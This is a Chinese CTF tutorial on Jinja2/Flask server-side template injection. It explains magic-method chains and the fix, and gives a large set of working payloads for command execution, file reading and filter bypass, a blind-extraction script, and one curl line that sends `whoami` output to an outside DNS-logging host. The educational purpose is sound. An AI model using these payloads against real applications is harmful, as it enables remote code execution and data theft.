細說Jinja2之SSTI&bypass


本文首發於“合天網安實驗室”     作者: kawhi

前言

SSTI(Server-Side Template Injection)服務端模板注入在CTF中並不是一個新穎的考點了,之前略微學習過,但是最近的大小比賽比如說安洵杯,祥雲杯,太湖杯,南郵CTF,上海大學生安全競賽等等比賽都頻頻出現,而且賽后看到師傅們各種眼花繚亂的payload,無法知曉其中的原理,促使我寫了這篇文章來總結各種bypass SSTI的方法。

本文涉及知識點實操練習-Flask服務端模板注入漏洞

實驗:Flask服務端模板注入漏洞(合天網安實驗室)

基礎知識

本篇文章從Flask的模板引擎Jinja2入手,CTF中大多數也都是使用這種模板引擎

模板的基本語法

官方文檔對於模板的語法介紹如下

{% ... %} for Statements

{{ ... }} for Expressions to print to the template output

{# ... #} for Comments not included in the template output

#  ... ## for Line Statements

這里我們逐條來看

  • {%%}

主要用來聲明變量,也可以用於條件語句和循環語句。

{% set c= 'kawhi' %}
{% if 81==9*9 %}kawhi{% endif %}
{% for i in ['1','2','3'] %}kawhi{%endfor%}
  • {{}}

用於將表達式打印到模板輸出,比如我們一般在里面輸入2-1,2*2,或者是字符串,調用對象的方法,都會渲染出結果

{{2-1}} #輸出1
{{2*2}} #輸出4

我們通常會用{{2*2}}簡單測試頁面是否存在SSTI

  • {##}

表示未包含在模板輸出中的注釋

  • ##

有和{%%}相同的效果

這里的模板注入主要用到的是{{}}和{%%}

常見的魔術方法

  • __class__

用於返回對象所屬的類

Python 3.7.8
>>> ''.__class__
<class 'str'>
>>> ().__class__
<class 'tuple'>
>>> [].__class__
<class 'list'>
  • __base__

以字符串的形式返回一個類所繼承的類

  • __bases__

以元組的形式返回一個類所繼承的類

  • __mro__

返回解析方法調用的順序,按照子類到父類到父父類的順序返回所有類

Python 3.7.8
>>> class Father():
...     def __init__(self):
...             pass
...
>>> class GrandFather():
...     def __init__(self):
...             pass
...
>>> class son(Father,GrandFather):
...     pass
...
>>> print(son.__base__)
<class '__main__.Father'>
>>> print(son.__bases__)
(<class '__main__.Father'>, <class '__main__.GrandFather'>)
>>> print(son.__mro__)
(<class '__main__.son'>, <class '__main__.Father'>, <class '__main__.GrandFather'>, <class 'object'>)
  • __subclasses__()

獲取類的所有子類

  • __init__

所有自帶帶類都包含init方法,常用他當跳板來調用globals

  • __globals__

會以字典類型返回當前位置的全部模塊,方法和全局變量,用於配合init使用

漏洞成因與防御

存在模板注入漏洞原因有二,一是存在用戶輸入變量可控,二是了使用不固定的模板,這里簡單給出一個存在SSTI的代碼如下

ssti.py

from flask import Flask,request,render_template_string
app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
    name = request.args.get('name')
    template = '''
<html>
  <head>
    <title>SSTI</title>
  </head>
 <body>
      <h3>Hello, %s !</h3>
  </body>
</html>
        '''% (name)
    return render_template_string(template)
if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=True)

我們簡單輸入一個{{2-1}},返回了1,說明存在模板注入

而如果存在SSTI的話,我們就可以利用上面的魔術方法去構造可以讀文件或者直接getshell的漏洞

如何拒絕這種漏洞呢,其實很簡單只需要使用固定的模板即可,正確的代碼應該如下

ssti2.py

index.html

可以看到原封不動的輸出了{{2-1}}

構造鏈思路

這里從零開始介紹如何去構造SSTI漏洞的payload,可以用上面存在SSTI漏洞的ssti.py做實驗

  • 第一步

目的:使用__class__來獲取內置類所對應的類

可以通過使用str,list,tuple,dict等來獲取

  • 第二步

目的:拿到object基類

用__bases__[0]拿到基類

Python 3.7.8
>>> ''.__class__.__bases__[0]
<class 'object'>

用__base__拿到基類

Python 3.7.8
>>> ''.__class__.__base__
<class 'object'>

用__mro__[1]或者__mro__[-1]拿到基類

Python 3.7.8
>>> ''.__class__.__mro__[1]
<class 'object'>
>>> ''.__class__.__mro__[-1]
<class 'object'>
  • 第三步

用__subclasses__()拿到子類列表

Python 3.7.8
>>> ''.__class__.__bases__[0].__subclasses__()
...一大堆的子類
  • 第四步

在子類列表中找到可以getshell的類

尋找利用類

在上述的第四步中,如何快速的尋找利用類呢

利用腳本跑索引

我們一般來說是先知曉一些可以getshell的類,然后再去跑這些類的索引,然后這里先講述如何去跑索引,再詳寫可以getshell的類

這里先給出一個在本地遍歷的腳本,原理是先遍歷所有子類,然后再遍歷子類的方法的所引用的東西,來搜索是否調用了我們所需要的方法,這里以popen為例子

find.py

我們運行這個腳本

λ python3 find.py
<class 'os._wrap_close'> 128

可以發現object基類的第128個子類名為os._wrap_close的這個類有popen方法

先調用它的__init__方法進行初始化類

Python 3.7.8
>>> "".__class__.__bases__[0].__subclasses__()[128].__init__
<function _wrap_close.__init__ at 0x000001FCD0B21E58>

再調用__globals__可以獲取到方法內以字典的形式返回的方法、屬性等值

Python 3.7.8
>>> "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__
{'__name__': 'os'...中間省略...<class 'os.PathLike'>}

然后就可以調用其中的popen來執行命令

Python 3.7.8
>>> "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
'desktop-t6u2ptl\\think\n'

但是上面的方法僅限於在本地尋找,因為在做CTF題目的時候,我們無法在題目環境中運行這個find.py,這里用hhhm師傅的一個腳本直接去尋找子類

我們首先把所有的子類列舉出來

Python 3.7.8
>>> ().__class__.__bases__[0].__subclasses__()
...一大堆的子類

然后把子類列表放進下面腳本中的a中,然后尋找os._wrap_close這個類

find2.py

import json

a = """
<class 'type'>,...,<class 'subprocess.Popen'>
"""

num = 0
allList = []

result = ""
for i in a:
    if i == ">":
        result += i
        allList.append(result)
        result = ""
    elif i == "\n" or i == ",":
        continue
    else:
        result += i
        
for k,v in enumerate(allList):
    if "os._wrap_close" in v:
        print(str(k)+"--->"+v)

又或者用如下的requests腳本去跑

find3.py

tips:后面的各種方法都是利用這種思路尋找到可以getshell類的位置

python3的方法

  • os._wrap_close類中的popen

在上面的例子中就是用的這個方法,payload如下

{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
  • __import__中的os

把上面find.py腳本中的search變量換成__import__

可以看到有5個類下是包含__import__的,隨便用一個即可

payload如下

{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}

python2的方法

因為python3和python2兩個版本下有差別,這里把python2單獨拿出來說

tips:python2的string類型不直接從屬於屬於基類,所以要用兩次 __bases__[0]

  • file類讀寫文件

本方法只能適用於python2,因為在python3中file類已經被移除了

可以使用dir查看file對象中的內置方法

>>> dir(().__class__.__bases__[0].__subclasses__()[40])
['__class__', '__delattr__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__', '__hash__', '__init__', '__iter__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'close', 'closed', 'encoding', 'errors', 'fileno', 'flush', 'isatty', 'mode', 'name', 'newlines', 'next', 'read', 'readinto', 'readline', 'readlines', 'seek', 'softspace', 'tell', 'truncate', 'write', 'writelines', 'xreadlines']

然后直接調用里面的方法即可,payload如下

讀文件

{{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()}}

{{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').readlines()}}
  • warnings類中的linecache

本方法只能用於python2,因為在python3中會報錯'function object' has no attribute 'func_globals',猜測應該是python3中func_globals被移除了還是啥的,如果不對請師傅們指出

我們把上面的find.py腳本中的search變量賦值為linecache,去尋找含有linecache的類

λ python find.py
(<class 'warnings.WarningMessage'>, 59)
(<class 'warnings.catch_warnings'>, 60)

后面如法炮制,payload如下

{{[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].os.popen('whoami').read()}}

python2&3的方法

這里介紹python2和python3兩個版本通用的方法

  • __builtins__代碼執行

這種方法是比較常用的,因為他兩種python版本都適用

首先__builtins__是一個包含了大量內置函數的一個模塊,我們平時用python的時候之所以可以直接使用一些函數比如abs,max,就是因為__builtins__這類模塊在Python啟動時為我們導入了,可以使用dir(__builtins__)來查看調用方法的列表,然后可以發現__builtins__下有eval,__import__等的函數,因此可以利用此來執行命令。

把上面find.py腳本search變量賦值為__builtins__,然后找到第140個類warnings.catch_warnings含有他,而且這里的話比較多的類都含有__builtins__,比如常用的還有email.header._ValueFormatter等等,這也可能是為什么這種方法比較多人用的原因之一吧

再調用eval等函數和方法即可,payload如下

{{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")}}

{{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

{{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}

{{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

又或者用如下兩種方式,用模板來跑循環

{% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("whoami").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

 

讀取文件payload

{% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

然后這里再提一個比較少人提到的點

warnings.catch_warnings類在在內部定義了_module=sys.modules['warnings'],然后warnings模塊包含有__builtins__,也就是說如果可以找到warnings.catch_warnings類,則可以不使用globals,payload如下

{{''.__class__.__mro__[1].__subclasses__()[40]()._module.__builtins__['__import__']("os").popen('whoami').read()}}

總而言之,原理都是先找到含有__builtins__的類,然后再進一步利用

  • subprocess.Popen進行RCE

我們可以用find2.py尋找subprocess.Popen這個類,可以直接RCE,payload如下

{{''.__class__.__mro__[2].__subclasses__()[258]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
  • 直接利用os

一開始我以為這種方法只能用於python2,因為我在本地實驗的時候python3中無法找到直接含有os的類,但后來發現python3其實也是能夠用的,主要是環境里面有這個那個類才行

我們把上面的find.py腳本中的search變量賦值為os,去尋找含有os的類

λ python find.py
(<class 'site._Printer'>, 69)
(<class 'site.Quitter'>, 74)

后面如法炮制,payload如下

{{().__class__.__base__.__subclasses__()[69].__init__.__globals__['os'].popen('whoami').read()}}

獲取配置信息

我們有時候可以使用flask的內置函數比如說url_for,get_flashed_messages,甚至是內置的對象request來查詢配置信息或者是構造payload

  • config

我們通常會用{{config}}查詢配置信息,如果題目有設置類似app.config ['FLAG'] = os.environ.pop('FLAG'),就可以直接訪問{{config['FLAG']}}或者{{config.FLAG}}獲得flag

  • request

jinja2中存在對象request

Python 3.7.8
>>> from flask import Flask,request,render_template_string
>>> request.__class__.__mro__[1]
<class 'object'>

查詢一些配置信息

{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config}}

構造ssti的payload

{{request.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}}
{{request.application.__globals__['__builtins__'].open('/etc/passwd').read()}}
  • url_for

查詢配置信息

{{url_for.__globals__['current_app'].config}}

構造ssti的payload

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
  • get_flashed_messages

查詢配置信息

{{get_flashed_messages.__globals__['current_app'].config}}

構造ssti的payload

{{get_flashed_messages.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}

繞過黑名單

CTF中一般考的就是怎么繞過SSTI,我們學會如何去構造payload之后,還要學習如何去繞過一些過濾,然后下面由於環境的不同,payload中類的位置也是就那個數字可能會和文章中不一樣,需要自己動手測一下

過濾了點

過濾了.

在python中,可用以下表示法可用於訪問對象的屬性

{{().__class__}}
{{()["__class__"]}}
{{()|attr("__class__")}}
{{getattr('',"__class__")}}

也就是說我們可以通過[],attr(),getattr()來繞過點

  • 使用[]繞過

使用訪問字典的方式來訪問函數或者類等,下面兩行是等價的

{{().__class__}}
{{()['__class__']}}

以此,我們可以構造payload如下

{{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}
  • 使用attr()繞過

使用原生JinJa2的函數attr(),以下兩行是等價的

{{().__class__}}
{{()|attr('__class__')}}

以此,我們可以構造payload如下

{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}
  • 使用getattr()繞過

這種方法有時候由於環境問題不一定可行,會報錯'getattr' is undefined,所以優先使用以上兩種

Python 3.7.8
>>> ().__class__
<class 'tuple'>
>>> getattr((),"__class__")
<class 'tuple'>

過濾引號

過濾了'和"

  • request繞過

flask中存在着request內置對象可以得到請求的信息,request可以用5種不同的方式來請求信息,我們可以利用他來傳遞參數繞過

request.args.name
request.cookies.name
request.headers.name
request.values.name
request.form.name

payload如下

GET方式,利用request.args傳遞參數

{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd

POST方式,利用request.values傳遞參數

{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
post:arg1=open&arg2=/etc/passwd

Cookie方式,利用request.cookies傳遞參數

{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
Cookie:arg1=open;arg2=/etc/passwd

剩下兩種方法也差不多,這里就不贅述了

  • chr繞過
{{().__class__.__base__.__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}

這里先爆破subclasses,獲取subclasses中含有chr的類索引

然后就可以用chr來繞過傳參時所需要的引號,然后需要用chr來構造需要的字符

這里我寫了個腳本可以快速構造想要的ascii字符

<?php
$a = 'whoami';
$result = '';
for($i=0;$i<strlen($a);$i++)
{
 $result .= 'chr('.ord($a[$i]).')%2b';
}
echo substr($result,0,-3);
?>
//chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)

最后payload如下

{% set chr = ().__class__.__base__.__subclasses__()[7].__init__.__globals__.__builtins__.chr %}{{().__class__.__base__.__subclasses__()[257].__init__.__globals__.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read()}}

過濾下划線

過濾了_

  • 編碼繞過

使用十六進制編碼繞過,_編碼后為\x5f,.編碼后為\x2E

payload如下

{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[376]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('whoami')['read']()}}

這里甚至可以全十六進制繞過,順便把關鍵字也一起繞過,這里先給出個python腳本方便轉換

string1="__class__"
string2="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
def tohex(string):
  result = ""
  for i in range(len(string)):
      result=result+"\\x"+hex(ord(string[i]))[2:]
  print(result)

tohex(string1) #\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f
print(string2) #__class__

隨便構造個payload如下

{{""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[64]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"]["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f"]("\x6f\x73")["\x70\x6f\x70\x65\x6e"]("whoami")["\x72\x65\x61\x64"]()}}
  • request繞過

在上面的過濾引號已經介紹過了,這里不再贅述

過濾關鍵字

首先要看關鍵字是如何被過濾的

如果是替換為空,可以嘗試雙寫繞過,或者使用黑名單邏輯漏洞錯誤繞過,即使用黑名單最后一個關鍵字替換繞過

如果直接ban了,就可以使用字符串拼接的方式等方法進行繞過,常用方法如下

  • 拼接字符繞過

這里以過濾class為例子,用中括號括起來然后里面用引號連接,可以用+號或者不用

{{()['__cla'+'ss__'].__bases__[0]}}
{{()['__cla''ss__'].__bases__[0]}}

隨便寫個payload如下

{{()['__cla''ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev''al']("__im""port__('o''s').po""pen('whoami').read()")}}

或者可以使用join來進行拼接

{{()|attr(["_"*2,"cla","ss","_"*2]|join)}}

看到有師傅甚至用管道符加上format方法來拼接的騷操作,也就是我們平時說的格式化字符串,其中的%s被l替換

{{()|attr(request.args.f|format(request.args.a))}}&f=__c%sass__&a=l
  • 使用使用str原生函數

replace繞過,payload如下

{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}

decode繞過,但這種方法經過測試只能在python2下使用,payload如下

{{().__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
  • 替代的方法

過濾init,可以用__enter__或__exit__替代

{{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

{{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

過濾config,我們通常會用{{config}}獲取當前設置,如果被過濾了可以使用以下的payload繞過

{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context}}

過濾中括號

過濾了[和]

  • 數字中的中括號

在python里面可以使用以下方法訪問數組元素

Python 3.7.8
>>> ["a","kawhi","c"][1]
'kawhi'
>>> ["a","kawhi","c"].pop(1)
'kawhi'
>>> ["a","kawhi","c"].__getitem__(1)
'kawhi'

也就是說可以使用__getitem__和pop替代中括號,取列表的第n位

payload如下

{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(433).__init__.__globals__.popen('whoami').read()}

{{().__class__.__base__.__subclasses__().pop(433).__init__.__globals__.popen('whoami').read()}}
  • 魔術方法的中括號

調用魔術方法本來是不用中括號的,但是如果過濾了關鍵字,要進行拼接的話就不可避免要用到中括號,像這里如果同時過濾了class和中括號

可用__getattribute__繞過

{{"".__getattribute__("__cla"+"ss__").__base__}}

或者可以配合request一起使用

{{().__getattribute__(request.args.arg1).__base__}}&arg1=__class__

payload如下

{{().__getattribute__(request.args.arg1).__base__.__subclasses__().pop(376).__init__.__globals__.popen(request.args.arg2).read()}}&arg1=__class__&arg2=whoami

這種同樣是繞過關鍵字的方法之一

過濾雙大括號

過濾了{{和}}

  • 使用dns外帶數據

用{%%}替代了{{}},使用判斷語句進行dns外帶數據

{% if ().__class__.__base__.__subclasses__()[433].__init__.__globals__['popen']("curl `whoami`.k1o75b.ceye.io").read()=='kawhi' %}1{% endif %}

然后在ceye平台接收數據即可

  • 盲注

如果上面的方法不行的話,可以考慮使用盲注的方式,這里附上p0師傅的腳本

# -*- coding: utf-8 -*-
import requests

url = 'http://ip:5000/?name='

def check(payload):
    r = requests.get(url+payload).content
    return 'kawhi' in r

password  = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'

for i in xrange(0,100):
    for c in s:
        payload = '{% if ().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__.open("/etc/passwd").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}kawhi{% endif %}'
        if check(payload):
            password += c
            break
    print password
  • print標記

我們上面之所以要dnslog外帶數據以及使用盲注,是因為用{%%}會沒有回顯,這里的話可以使用print來做一個標記使得他有回顯,比如{%print config%},payload如下

{%print ().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")%}

payload進階與拓展

這里我基於上面繞過黑名單各種方法的組合,對CTF中用到的一些方法和payload再做一個小的總結,不過其實一般來說,只要不是太偏太繞的題,上面的方法自行組合一下都夠用了,下面只是作為一個拓展

過濾_和.和'

這里順便給一個不常見的方法,主要是找到_frozen_importlib_external.FileLoader的get_data()方法,第一個是參數0,第二個為要讀取的文件名,payload如下

{{().__class__.__bases__[0].__subclasses__()[222].get_data(0,"app.py")}}

使用十六進制繞過后,payload如下

{{()["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[222]["get\x5Fdata"](0, "app\x2Epy")}}

過濾args和.和_

之前某二月賽在y1ng師傅博客看到的一個payload,原理並不難,這里使用了attr()繞過點,values繞過args,payload如下

{{()|attr(request['values']['x1'])|attr(request['values']['x2'])|attr(request['values']['x3'])()|attr(request['values']['x4'])(40)|attr(request['values']['x5'])|attr(request['values']['x6'])|attr(request['values']['x4'])(request['values']['x7'])|attr(request['values']['x4'])(request['values']['x8'])(request['values']['x9'])}}

post:x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('whoami').read()

導入主函數讀取變量

有一些題目我們不並需要去getshell,比如flag直接暴露在變量里面了,像如下這樣把/flag文件加載到flag這個變量里面了

f = open('/flag','r')
flag = f.read()

我們就可以通過import是導入__main__主函數去讀變量,payload如下

{%print request.application.__globals__.__getitem__('__builtins__').__getitem__('__import__')('__main__').flag %}

Unicode繞過

這種方法是從安洵杯2020 官方Writeup學到的,我們直奔主題看payload

{%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22))|attr(%22\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f%22)(%22os%22)|attr(%22popen%22)(%22whoami%22)|attr(%22read%22)()%}

這里的print繞過{{}}和attr繞過.上面已經說過了這里不贅述

然后這里的lipsum用{{lipsum}}測了一下發現是個方法

<function generate_lorem_ipsum at 0x7fcddfa296a8>

然后用他直接調用__globals__發現可以直接執行os命令,測了一下發現__builtins__也可以用,又學到了一種新方法,只能說師傅們tql

{{lipsum.__globals__['os'].popen('whoami').read()}}
{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

回到正題,這里使用了Unicode編碼繞過關鍵字,下面兩行是等價的

{{()|attr("__class__")}}
{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")}}

知道了這兩點之后,那個官方給的payload就很明朗了,解開編碼后如下

{%print(lipsum|attr("__globals__"))|attr("__getitem__")("os")|attr("popen")("whoami")|attr("read")()%}

然后我這里順便給個Unicode互轉的php腳本

<?php
//字符串轉Unicode編碼
function unicode_encode($strLong) {
  $strArr = preg_split('/(?<!^)(?!$)/u', $strLong);//拆分字符串為數組(含中文字符)
  $resUnicode = '';
  foreach ($strArr as $str)
  {
      $bin_str = '';
      $arr = is_array($str) ? $str : str_split($str);//獲取字符內部數組表示,此時$arr應類似array(228, 189, 160)
      foreach ($arr as $value)
      {
          $bin_str .= decbin(ord($value));//轉成數字再轉成二進制字符串,$bin_str應類似111001001011110110100000,如果是漢字"你"
      }
      $bin_str = preg_replace('/^.{4}(.{4}).{2}(.{6}).{2}(.{6})$/', '$1$2$3', $bin_str);//正則截取, $bin_str應類似0100111101100000,如果是漢字"你"
      $unicode = dechex(bindec($bin_str));//返回unicode十六進制
      $_sup = '';
      for ($i = 0; $i < 4 - strlen($unicode); $i++)
      {
          $_sup .= '0';//補位高字節 0
      }
      $str =  '\\u' . $_sup . $unicode; //加上 \u  返回
      $resUnicode .= $str;
  }
  return $resUnicode;
}
//Unicode編碼轉字符串方法1
function unicode_decode($name)
{
  // 轉換編碼,將Unicode編碼轉換成可以瀏覽的utf-8編碼
  $pattern = '/([\w]+)|(\\\u([\w]{4}))/i';
  preg_match_all($pattern, $name, $matches);
  if (!empty($matches))
  {
    $name = '';
    for ($j = 0; $j < count($matches[0]); $j++)
    {
      $str = $matches[0][$j];
      if (strpos($str, '\\u') === 0)
      {
        $code = base_convert(substr($str, 2, 2), 16, 10);
        $code2 = base_convert(substr($str, 4), 16, 10);
        $c = chr($code).chr($code2);
        $c = iconv('UCS-2', 'UTF-8', $c);
        $name .= $c;
      }
      else
      {
        $name .= $str;
      }
    }
  }
  return $name;
}
//Unicode編碼轉字符串
function unicode_decode2($str){
  $json = '{"str":"' . $str . '"}';
  $arr = json_decode($json, true);
  if (empty($arr)) return '';
  return $arr['str'];
}
echo unicode_encode('__class__');
echo unicode_decode('\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f');
//\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f__class__

魔改字符

這種方法是在太湖杯easyWeb這道題目學到的,上面所說的過濾雙大括號,在一些特定的題目可以魔改{{}},比如說這道題由於有個字符規范器可以把我們輸入的文本標准化,所以可以使用這種方法

可以在Unicode字符網站尋找繞過的字符,直接在網址搜索{,就會出現類似的字符,就可以找到︷和︸了,網址:https://www.compart.com/en/unicode/U+FE38

payload如下

︷︷config︸︸
%EF%B8%B7%EF%B8%B7config%EF%B8%B8%EF%B8%B8

還可以使用中文的字符魔改

{ &#65371;
} &#65373;
[ &#65339;
] &#65341;
' &#65287;
" &#65282;

payload如下

{{url_for.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}} 

總結

因為水平和文章篇幅有限,可能還有一些bypass方法沒有提到,還有就是CTF中也不只考Jinja2這種模板,還有另外的Twig模板,smart等模板,這些就等以后有必要再更吧,最后就是有不足之處請各位師傅指出

參考鏈接

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM